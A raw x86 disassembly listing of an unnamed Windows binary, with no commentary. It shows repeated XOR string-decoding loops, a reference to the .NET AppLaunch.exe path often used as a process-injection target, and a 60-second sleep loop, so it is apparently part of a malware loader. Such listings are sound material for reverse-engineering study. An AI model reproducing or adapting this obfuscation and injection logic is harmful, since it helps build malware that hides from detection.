inc ecx
test al, al
jne 0x411a60
sub ecx, edx
lea eax, [ebp - 0x171]
push ecx
push eax
lea ecx, [ebp - 0xa0]
call fcn.00401fa0
cmp dword [ebp - 0x28], 0x10
lea edi, [ebp - 0xf8]
mov eax, dword [ebp - 0x34]
cmovae edi, dword [ebp - 0xf8]
mov byte [ebp - 4], 0x4a
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0
cmp eax, 0x10
jae 0x411ac4
movups xmm0, xmmword [edi]
mov dword [ebp - 0x74], 0xf
movups xmmword [ebp - 0x88], xmm0
jmp 0x411b01
mov esi, eax
lea ecx, [ebp - 0x88]
or esi, 0xf
mov eax, SysReAllocString
cmp esi, 0x7fffffff
cmova esi, eax
lea eax, [esi + 1]
push eax
call fcn.00401f40
mov ecx, dword [ebp - 0x34]
inc ecx
mov dword [ebp - 0x88], eax
push ecx
push edi
push eax
call fcn.00415600
mov eax, dword [ebp - 0x34]
add esp, 0xc
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x110], 0x10
lea eax, [ebp - 0x124]
push dword [ebp - 0x114]
cmovae eax, dword [ebp - 0x124]
lea ecx, [ebp - 0x88]
push eax
mov byte [ebp - 4], 0x4b
call fcn.00403e50
push eax
lea ecx, [ebp - 0x1c0]
call fcn.00405dc0
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 0x4c
push eax
lea eax, [ebp - 0x1c0]
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1f8]
call fcn.00407200
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push dword [ebp - 0x5c]
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x1f8]
push eax
mov byte [ebp - 4], 0x4d
call fcn.00403e50
push eax
lea ecx, [ebp - 0x154]
call fcn.00405dc0
cmp dword [ebp - 0x140], 0x10
lea eax, [ebp - 0x154]
mov byte [ebp - 4], 0x4e
cmovae eax, dword [ebp - 0x154]
push eax
lea eax, [ebp - 0x27c]
push eax
call fcn.004061d0
add esp, 8
lea ecx, [ebp - 0x27c]
call fcn.004011e0
lea ecx, [ebp - 0x154]
call fcn.004011e0
lea ecx, [ebp - 0x1f8]
call fcn.004011e0
lea ecx, [ebp - 0x1c0]
call fcn.004011e0
mov edx, dword [ebp - 0x74]
mov byte [ebp - 4], 0x4a
cmp edx, 0x10
jb 0x411c13
mov ecx, dword [ebp - 0x88]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x411c09
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d3f
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
mov byte [ebp - 4], 0x49
cmp edx, 0x10
jb 0x411c66
mov ecx, dword [ebp - 0xa0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x411c5c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d3f
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edx, dword [ebp - 0x38]
mov byte [ebp - 4], 0x48
cmp edx, 0x10
jb 0x411c9e
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x411c94
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d44
push edx
push ecx
call fcn.0041414e
add esp, 8
lea ecx, [ebp - 0x198]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
mov byte [ebp - 4], 0x3f
call fcn.004011e0
mov eax, dword [str.XSZ_A__]
xor edx, edx
mov dword [ebp - 0x15b], eax
mov ax, word [0x433f40]
mov word [ebp - 0x157], ax
mov al, byte [0x433f42]
mov byte [ebp - 0x155], al
mov dword [ebp - 0x24], edx
nop word [eax + eax]
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x24]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x15b], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 7
jl 0x411cf0
lea ecx, [ebp - 0x15b]
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x90], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x8c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411d41
sub ecx, edx
lea eax, [ebp - 0x15b]
push ecx
push eax
lea ecx, [ebp - 0xa0]
call fcn.00401fa0
mov edi, dword [ebp - 0x8c]
lea ecx, [ebp - 0xa0]
push dword [ebp - 0x90]
mov esi, dword [ebp - 0xa0]
lea eax, [ebp - 0xbc]
cmp edi, 0x10
cmovae ecx, esi
cmp dword [ebp - 0xa8], 0x10
push ecx
cmovae eax, dword [ebp - 0xbc]
push 0
push dword [ebp - 0xac]
push eax
call fcn.0040cb00
add esp, 0x14
mov dword [ebp - 0x70], eax
cmp edi, 0x10
jb 0x411dd7
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x411dca
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d53
push ecx
push esi
call fcn.0041414e
mov eax, dword [ebp - 0x70]
add esp, 8
cmp eax, 0xffffffff
je 0x4121bb
mov edi, dword [ebp - 0x2c4]
add edi, 0x30
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0
cmp dword [edi + 0x14], 0x10
mov eax, dword [edi + 0x10]
mov dword [ebp - 0x24], eax
jb 0x411e0f
mov edi, dword [edi]
cmp eax, 0x10
jae 0x411e25
movups xmm0, xmmword [edi]
mov esi, 0xf
movups xmmword [ebp - 0x88], xmm0
jmp 0x411e5f
mov esi, eax
lea ecx, [ebp - 0x88]
or esi, 0xf
mov eax, SysReAllocString
cmp esi, 0x7fffffff
cmova esi, eax
lea eax, [esi + 1]
push eax
call fcn.00401f40
mov ecx, dword [ebp - 0x24]
inc ecx
mov dword [ebp - 0x88], eax
push ecx
push edi
push eax
call fcn.00415600
mov eax, dword [ebp - 0x24]
add esp, 0xc
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x78], eax
cmp esi, 0x10
mov byte [ebp - 4], 0x4f
lea eax, [ebp - 0x88]
cmovae eax, dword [ebp - 0x88]
push eax
lea eax, [ebp - 0x288]
push eax
call fcn.00405f80
add esp, 8
mov ecx, dword [ebp - 0x284]
mov eax, dword [ebp - 0x288]
sub ecx, eax
push ecx
push eax
push str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov byte [ebp - 4], 0x50
call fcn.00405420
mov eax, dword [0x433f44]
add esp, 0xc
mov dword [ebp - 0x177], eax
mov ax, word [0x433f48]
mov word [ebp - 0x173], ax
test ah, ah
je 0x411efa
xor edx, edx
mov dword [ebp - 0x24], edx
nop dword [eax + eax]
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x24]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x177], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 6
jl 0x411ed0
lea ecx, [ebp - 0x177]
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x90], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411f28
sub ecx, edx
lea eax, [ebp - 0x177]
push ecx
push eax
lea ecx, [ebp - 0xa0]
call fcn.00401fa0
cmp dword [ebp - 0x28], 0x10
lea edi, [ebp - 0xf8]
mov eax, dword [ebp - 0x34]
cmovae edi, dword [ebp - 0xf8]
mov byte [ebp - 4], 0x51
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
cmp eax, 0x10
jae 0x411f86
movups xmm0, xmmword [edi]
mov dword [ebp - 0x38], 0xf
movups xmmword [ebp - 0x4c], xmm0
jmp 0x411fbd
mov esi, eax
lea ecx, [ebp - 0x4c]
or esi, 0xf
mov eax, SysReAllocString
cmp esi, 0x7fffffff
cmova esi, eax
lea eax, [esi + 1]
push eax
call fcn.00401f40
mov ecx, dword [ebp - 0x34]
inc ecx
mov dword [ebp - 0x4c], eax
push ecx
push edi
push eax
call fcn.00415600
mov eax, dword [ebp - 0x34]
add esp, 0xc
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x110], 0x10
lea eax, [ebp - 0x124]
push dword [ebp - 0x114]
cmovae eax, dword [ebp - 0x124]
lea ecx, [ebp - 0x4c]
push eax
mov byte [ebp - 4], 0x52
call fcn.00403e50
push eax
lea ecx, [ebp - 0x154]
call fcn.00405dc0
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 0x53
push eax
lea eax, [ebp - 0x154]
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1f8]
call fcn.00407200
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push dword [ebp - 0x5c]
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x1f8]
push eax
mov byte [ebp - 4], 0x54
call fcn.00403e50
push eax
lea ecx, [ebp - 0x198]
call fcn.00405dc0
cmp dword [ebp - 0x184], 0x10
lea eax, [ebp - 0x198]
mov byte [ebp - 4], 0x55
cmovae eax, dword [ebp - 0x198]
push eax
lea eax, [ebp - 0x27c]
push eax
call fcn.004061d0
add esp, 8
lea ecx, [ebp - 0x27c]
call fcn.004011e0
lea ecx, [ebp - 0x198]
call fcn.004011e0
lea ecx, [ebp - 0x1f8]
call fcn.004011e0
lea ecx, [ebp - 0x154]
call fcn.004011e0
mov edx, dword [ebp - 0x38]
mov byte [ebp - 4], 0x51
cmp edx, 0x10
jb 0x4120c9
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4120bf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d49
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
mov byte [ebp - 4], 0x50
cmp edx, 0x10
jb 0x412119
mov ecx, dword [ebp - 0xa0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41210f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d49
push edx
push ecx
call fcn.0041414e
add esp, 8
mov ecx, dword [ebp - 0x288]
test ecx, ecx
je 0x412153
mov eax, dword [ebp - 0x280]
sub eax, ecx
push eax
push ecx
call fcn.0040c7d0
add esp, 8
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x284], 0
mov dword [ebp - 0x280], 0
mov edx, dword [ebp - 0x74]
mov byte [ebp - 4], 0x3f
cmp edx, 0x10
jb 0x41218e
mov ecx, dword [ebp - 0x88]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412184
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d4e
push edx
push ecx
call fcn.0041414e
add esp, 8
lea ecx, [ebp - 0xbc]
call fcn.004011e0
lea ecx, [ebp - 0x6c]
call fcn.004011e0
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], 0x3b
call fcn.00405ea0
mov esi, dword [ebp - 0x50]
add esi, 0x18
jmp 0x4111fa
cmp byte [0x433f53], 0
mov ecx, dword [str.FBRYU_I_]
mov esi, dword [0x433f50]
mov dword [ebp - 0x16b], ecx
mov dword [ebp - 0x167], esi
je 0x412320
xor edx, edx
cmp dword [0x444660], 2
mov dword [ebp - 0x24], edx
jl 0x4122f6
movaps xmm2, xmmword [0x433330]
mov eax, 4
movaps xmm4, xmmword [0x4336b0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [0x434000]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x433340]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x433360]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, ecx
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x16b], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x433360]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, esi
pxor xmm1, xmm0
movd dword [ebp - 0x167], xmm1
jmp 0x412320
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x24]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x16b], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 8
jl 0x4122f6
lea ecx, [ebp - 0x16b]
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x90], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x8c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412347
sub ecx, edx
lea eax, [ebp - 0x16b]
push ecx
push eax
lea ecx, [ebp - 0xa0]
call fcn.00401fa0
mov edi, dword [ebp - 0x8c]
lea ecx, [ebp - 0xa0]
push dword [ebp - 0x90]
mov esi, dword [ebp - 0xa0]
lea eax, [ebp - 0xbc]
cmp edi, 0x10
cmovae ecx, esi
cmp dword [ebp - 0xa8], 0x10
push ecx
cmovae eax, dword [ebp - 0xbc]
push 0
push dword [ebp - 0xac]
push eax
call fcn.0040cb00
add esp, 0x14
mov dword [ebp - 0x70], eax
cmp edi, 0x10
jb 0x4123dd
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x4123d0
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d53
push ecx
push esi
call fcn.0041414e
mov eax, dword [ebp - 0x70]
add esp, 8
cmp eax, 0xffffffff
je 0x4126ce
push 1
mov dword [ebp - 0x88], 0
lea ecx, [ebp - 0x88]
push 0x433fe4
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
call fcn.00401fa0
cmp dword [ebp - 0x1fc], 0x10
lea eax, [ebp - 0x210]
push dword [ebp - 0x200]
cmovae eax, dword [ebp - 0x210]
lea ecx, [ebp - 0x88]
push eax
push 0
mov byte [ebp - 4], 0x56
call fcn.0040ac80
push eax
lea ecx, [ebp - 0x1f8]
call fcn.00405dc0
cmp dword [ebp - 0x128], 0x10
lea eax, [ebp - 0x13c]
push dword [ebp - 0x12c]
cmovae eax, dword [ebp - 0x13c]
lea ecx, [ebp - 0x1f8]
push eax
mov byte [ebp - 4], 0x57
call fcn.00403e50
push eax
lea ecx, [ebp - 0x2b8]
call fcn.00405dc0
lea ecx, [ebp - 0x1f8]
call fcn.004011e0
mov edx, dword [ebp - 0x74]
mov byte [ebp - 4], 0x5a
cmp edx, 0x10
jb 0x4124cb
mov ecx, dword [ebp - 0x88]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4124c1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d58
push edx
push ecx
call fcn.0041414e
add esp, 8
mov eax, dword [0x433f54]
mov dword [ebp - 0x17d], eax
mov ax, word [0x433f58]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
mov word [ebp - 0x179], ax
test ah, ah
je 0x41252b
xor edx, edx
mov dword [ebp - 0x24], edx
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x24]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x17d], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 6
jl 0x412501
lea ecx, [ebp - 0x17d]
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x90], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412560
sub ecx, edx
lea eax, [ebp - 0x17d]
push ecx
push eax
lea ecx, [ebp - 0xa0]
call fcn.00401fa0
cmp dword [ebp - 0x28], 0x10
lea edi, [ebp - 0xf8]
mov eax, dword [ebp - 0x34]
cmovae edi, dword [ebp - 0xf8]
mov byte [ebp - 4], 0x5b
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
cmp eax, 0x10
jae 0x4125be
movups xmm0, xmmword [edi]
mov dword [ebp - 0x38], 0xf
movups xmmword [ebp - 0x4c], xmm0
jmp 0x4125f5
mov esi, eax
lea ecx, [ebp - 0x4c]
or esi, 0xf
mov eax, SysReAllocString
cmp esi, 0x7fffffff
cmova esi, eax
lea eax, [esi + 1]
push eax
call fcn.00401f40
mov ecx, dword [ebp - 0x34]
inc ecx
mov dword [ebp - 0x4c], eax
push ecx
push edi
push eax
call fcn.00415600
mov eax, dword [ebp - 0x34]
add esp, 0xc
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x110], 0x10
lea eax, [ebp - 0x124]
push dword [ebp - 0x114]
cmovae eax, dword [ebp - 0x124]
lea ecx, [ebp - 0x4c]
push eax
mov byte [ebp - 4], 0x5c
call fcn.00403e50
push eax
lea ecx, [ebp - 0x198]
call fcn.00405dc0
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 0x5d
push eax
lea eax, [ebp - 0x198]
push eax
lea eax, [ebp - 0x1c0]
push eax
call fcn.0040c5b0
add esp, 0xc
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x5e
push ecx
push eax
lea eax, [ebp - 0x154]
push eax
call fcn.0040c5d0
add esp, 0xc
mov ecx, eax
mov byte [ebp - 4], 0x5f
call fcn.00406c10
push eax
lea eax, [ebp - 0x27c]
push eax
call fcn.004061d0
add esp, 8
lea ecx, [ebp - 0x27c]
call fcn.004011e0
lea ecx, [ebp - 0x154]
call fcn.004011e0
lea ecx, [ebp - 0x1c0]
call fcn.004011e0
lea ecx, [ebp - 0x198]
call fcn.004011e0
lea ecx, [ebp - 0x4c]
call fcn.004011e0
lea ecx, [ebp - 0xa0]
call fcn.004011e0
lea ecx, [ebp - 0x2b8]
call fcn.004011e0
jmp 0x41218e
mov ax, word [0x433f64]
movq xmm0, qword [str.WYCSPVWYO_]
movq qword [ebp - 0x29e], xmm0
mov word [ebp - 0x296], ax
test ah, ah
je 0x41271e
xor edx, edx
mov dword [ebp - 0x24], edx
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x24]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x29e], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0xa
jl 0x4126f4
lea eax, [ebp - 0x29e]
push eax
lea ecx, [ebp - 0x2b8]
call fcn.004010d0
push 0
push eax
lea ecx, [ebp - 0xbc]
call fcn.00402090
lea ecx, [ebp - 0x2b8]
mov esi, eax
call fcn.004011e0
cmp esi, 0xffffffff
je 0x41288a
call fcn.00401280
mov eax, dword [0x433f68]
mov dword [ebp - 0x1c6], eax
mov ax, word [0x433f6c]
mov word [ebp - 0x1c2], ax
test ah, ah
je 0x4127a4
xor ecx, ecx
nop word [eax + eax]
mov eax, 0x51eb851f
mul ecx
shr edx, 4
movsx eax, dl
mov dl, cl
imul eax, eax, 0x32
sub dl, al
add dl, 0x35
xor byte [ebp + ecx - 0x1c6], dl
inc ecx
cmp ecx, 6
jl 0x412780
lea eax, [ebp - 0x1c6]
push eax
lea ecx, [ebp - 0x154]
call fcn.004010d0
mov esi, eax
lea eax, [ebp - 0xf8]
mov byte [ebp - 4], 0x60
push eax
lea ecx, [ebp - 0xa0]
call fcn.0040cff0
lea ecx, [ebp - 0x124]
mov byte [ebp - 4], 0x61
push ecx
push eax
lea eax, [ebp - 0x198]
push eax
call fcn.0040c5d0
add esp, 0xc
push esi
push eax
lea eax, [ebp - 0x1f8]
mov byte [ebp - 4], 0x62
push eax
call fcn.0040c5b0
add esp, 0xc
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x63
push ecx
push eax
lea eax, [ebp - 0x27c]
push eax
call fcn.0040c5d0
add esp, 0xc
mov ecx, eax
mov byte [ebp - 4], 0x64
call fcn.00406c10
push eax
lea eax, [ebp - 0x2b8]
push eax
call fcn.004061d0
add esp, 8
lea ecx, [ebp - 0x2b8]
call fcn.004011e0
lea ecx, [ebp - 0x27c]
call fcn.004011e0
lea ecx, [ebp - 0x1f8]
call fcn.004011e0
lea ecx, [ebp - 0x198]
call fcn.004011e0
lea ecx, [ebp - 0xa0]
call fcn.004011e0
lea ecx, [ebp - 0x154]
call fcn.004011e0
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x34], eax
jmp 0x41218e
mov eax, dword [str._FSYM__]
xor edx, edx
mov dword [ebp - 0x19f], eax
mov ax, word [0x433f74]
mov word [ebp - 0x19b], ax
mov al, byte [0x433f76]
mov byte [ebp - 0x199], al
mov dword [ebp - 0x24], edx
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x24]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x19f], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 7
jl 0x4128b2
lea eax, [ebp - 0x19f]
push eax
lea ecx, [ebp - 0x2b8]
call fcn.004010d0
push 0
push eax
lea ecx, [ebp - 0xbc]
call fcn.00402090
lea ecx, [ebp - 0x2b8]
mov esi, eax
call fcn.004011e0
cmp esi, 0xffffffff
je 0x41218e
lea eax, [ebp - 0x102]
push eax
lea ecx, [ebp - 0x51]
call fcn.0040d3c0
mov edi, eax
cmp byte [edi + 4], 0
je 0x412956
xor ecx, ecx
mov dword [ebp - 0x24], ecx
nop
mov eax, 0x51eb851f
lea esi, [edi + ecx]
mul ecx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [esi], cl
mov ecx, dword [ebp - 0x24]
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 5
jl 0x412930
push edi
lea ecx, [ebp - 0xa0]
call fcn.004010d0
mov esi, eax
mov dword [ebp - 0x70], esi
lea eax, [ebp - 0x198]
mov byte [ebp - 4], 0x65
push 0x18
push eax
call fcn.0040b920
add esp, 8
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x33c]
mov byte [ebp - 4], 0x66
push eax
lea ecx, [ebp - 0x51]
call fcn.0040d3e0
mov edi, eax
cmp byte [edi + 0xf], 0
je 0x412b2f
xor ecx, ecx
cmp dword [0x444660], 2
mov dword [ebp - 0x24], ecx
jl 0x412b06
movaps xmm0, xmmword [0x434000]
mov ecx, 4
xor eax, eax
movaps xmmword [ebp - 0x1c0], xmm0
mov dword [ebp - 0x24], eax
mov edx, edi
movd xmm3, ecx
mov ecx, 0x1f
movd xmm4, ecx
mov ecx, 4
sub ecx, edi
nop
movd xmm0, eax
lea eax, [ecx + edx]
pshufd xmm2, xmm0, 0
lea edx, [edx + 8]
paddd xmm2, xmmword [0x433330]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x4336b0]
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x4336b0]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm3
movaps xmm0, xmm1
psrld xmm0, xmm4
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x433360]
movd xmm0, dword [ebp - 0x1c0]
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [edx - 8]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmmword [0x433330]
movd dword [edx - 8], xmm1
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
movaps xmm1, xmm2
pmuldq xmm0, xmmword [0x4336b0]
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x4336b0]
shufps xmm1, xmm0, 0xdd
mov eax, dword [ebp - 0x24]
psrad xmm1, xmm3
add eax, 8
mov dword [ebp - 0x24], eax
movaps xmm0, xmm1
psrld xmm0, xmm4
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x433360]
movd xmm0, dword [ebp - 0x1c0]
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [edx - 4]
pxor xmm1, xmm0
movd dword [edx - 4], xmm1
cmp eax, 0x10
jl 0x4129e0
jmp 0x412b2f
mov eax, 0x51eb851f
lea esi, [ecx + edi]
mul ecx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [esi], cl
mov ecx, dword [ebp - 0x24]
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x10
jl 0x412b06
mov esi, dword [ebp - 0x70]
push edi
lea ecx, [ebp - 0x27c]
call fcn.004010d0
push dword [ebp - 0x50]
mov byte [ebp - 4], 0x67
push eax
lea eax, [ebp - 0x2b8]
push eax
call fcn.0040c5b0
add esp, 0xc
push esi
push eax
lea eax, [ebp - 0x1f8]
mov byte [ebp - 4], 0x68
push eax
call fcn.0040c5b0
add esp, 0xc
lea ecx, [ebp - 0x2b8]
call fcn.004011e0
lea ecx, [ebp - 0x27c]
call fcn.004011e0
lea ecx, [ebp - 0x198]
call fcn.004011e0
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x6d
call fcn.004011e0
push 2
lea ecx, [ebp - 0x2c4]
call fcn.0040d3a0
push eax
lea ecx, [ebp - 0x154]
call fcn.0040cff0
lea eax, [ebp - 0x1f8]
mov byte [ebp - 4], 0x6e
push eax
lea eax, [ebp - 0x154]
push eax
call fcn.00403620
add esp, 8
lea eax, [ebp - 0x109]
lea ecx, [ebp - 0x51]
push eax
call fcn.0040d400
mov edi, eax
cmp byte [edi + 5], 0
je 0x412d5d
xor ecx, ecx
mov dword [ebp - 0x24], ecx
nop word [eax + eax]
mov eax, 0x51eb851f
lea esi, [ecx + edi]
mul ecx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [esi], cl
mov ecx, dword [ebp - 0x24]
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 6
jge 0x412d5d
jmp 0x412bf0
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xc8]
call fcn.00405ea0
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 0x33
call fcn.004011e0
mov esi, dword [ebp - 0x34]
mov eax, SysReAllocString
mov ecx, dword [ebp - 0x28]
jmp 0x410c30
push fcn.004011e0
push 1
push 0x18
lea eax, [ebp - 0x1e0]
mov byte [ebp - 4], 0x30
push eax
call fcn.00414384
jmp 0x410980
push 6
mov dword [ebp - 0x2d4], 0
call fcn.00413a22
call fcn.0041866f
call fcn.0041866f
call fcn.0041866f
call fcn.0041866f
call fcn.0041866f
push str.error
lea ecx, [ebp - 0x350]
call fcn.00405e10
push 0x440a88
lea eax, [ebp - 0x350]
push eax
call fcn.0041511f
call fcn.00406c00
call fcn.0041866f
call fcn.0041866f
call fcn.0041866f
call fcn.0041866f
call fcn.0041866f
call fcn.0041866f
call fcn.0041866f
call fcn.0041866f
push edi
lea ecx, [ebp - 0x88]
call fcn.004010d0
mov esi, eax
lea eax, [ebp - 0xf8]
mov byte [ebp - 4], 0x6f
push eax
lea ecx, [ebp - 0x4c]
call fcn.0040cff0
lea ecx, [ebp - 0x124]
mov byte [ebp - 4], 0x70
push ecx
push eax
lea eax, [ebp - 0xa0]
push eax
call fcn.0040c5d0
